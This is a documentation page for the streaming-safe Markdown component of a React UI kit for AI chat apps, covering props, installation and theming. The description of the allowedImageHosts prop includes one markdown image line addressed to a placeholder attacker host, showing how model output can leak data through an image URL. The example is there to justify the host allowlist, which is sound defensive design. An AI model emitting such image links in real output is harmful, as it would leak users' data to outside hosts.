Skip to content

Docs

Components

Markdown

Streaming-safe GFM: unterminated syntax closed while streaming, no raw HTML, images only from hosts you allow.

Example

The limiter belongs at the top of the handler, before streamText opens the stream:

  1. Read the client's IP from x-forwarded-for.
  2. Call ratelimit.limit(ip) and return a 429 when it fails.
WindowRequestsBurst
Sliding, 10 s10smoothed
Fixed, 10 s10up to 20 at the edge
ts
const { success } = await limit(ip);if (!success) return tooMany();

Interactive, and the same on the components page. Try the keyboard below on it.

Installation

npm i @dgesteves/agent-ui-kit ai
import { Markdown } from '@dgesteves/agent-ui-kit';
// Once per app (with Tailwind v4: @import '@dgesteves/agent-ui-kit/tailwind.css'; in your CSS)
import '@dgesteves/agent-ui-kit/styles.css';

The styles are once per app; Getting started has the Tailwind v4 and plain CSS options.

Usage

<Markdown streaming={part.state === 'streaming'} citations={sources.length}>
  {part.text}
</Markdown>

API reference

Generated from the types the package ships, so it matches the version you install.

Markdown

Streaming-safe markdown (GFM). While streaming, unterminated emphasis, code and links are closed before parsing so partial output never flashes raw syntax. Raw HTML is not rendered, links and images with unsafe protocols (javascript:, data:) are stripped, and images load only from allowedImageHosts.

Props

childrenrequired
string
streaming
booleanDefault false

Repairs unterminated syntax and shows a caret while text is still arriving.

citations
numberDefault 0

Number of available sources; [n] markers up to this count become citation links.

citationPrefix
stringDefault 'source'

Must match the idPrefix of the Sources the citations point to.

allowedImageHosts
readonly string[]

Where images may load from. Default: nowhere. The browser fetches an image as soon as it renders, so a URL in model output can leak data (![](https://attacker.example/p.png?d=…)); a blocked image renders as a link with its alt text, and nothing is requested.

  • A host name of http(s) URLs, matched exactly: 'images.example.com' (any port), or 'localhost:3000' (that port only).
  • 'self': relative URLs (/logo.png, ./chart.png), which load from your own origin. //host/x is not relative. An absolute URL to your own site needs its host listed.
  • '*': every image.

Compared by value, so an inline array does not re-render the markdown.

components
Components

Element overrides, merged over the defaults. Keep the object stable: a new one re-renders the markdown.

className
string

Accessibility

  • Raw HTML in model output is never rendered, and links and images with javascript: or data: URLs are stripped.
  • Images load only from allowedImageHosts. Others render as a link with their alt text, read as "Image:", and nothing is requested.
  • [n] markers up to citations become links named "Source n".
  • The streaming caret is hidden from screen readers.

Theming

Every color, radius and font is a CSS variable, so the overrides in Theming apply, on :root or scoped to any element. These hooks are read from the component's markup.

Slots (data-slot)
markdown
Tokens it uses
--aui-accent--aui-accent-fg--aui-bg--aui-border--aui-border-strong--aui-fg--aui-fg-muted--aui-fg-subtle--aui-font-mono--aui-font-sans--aui-ring--aui-surface-2
app/globals.css
/* Only this component, and only inside .settings-panel */
.settings-panel [data-slot='markdown'] {
  --aui-radius: 4px;
}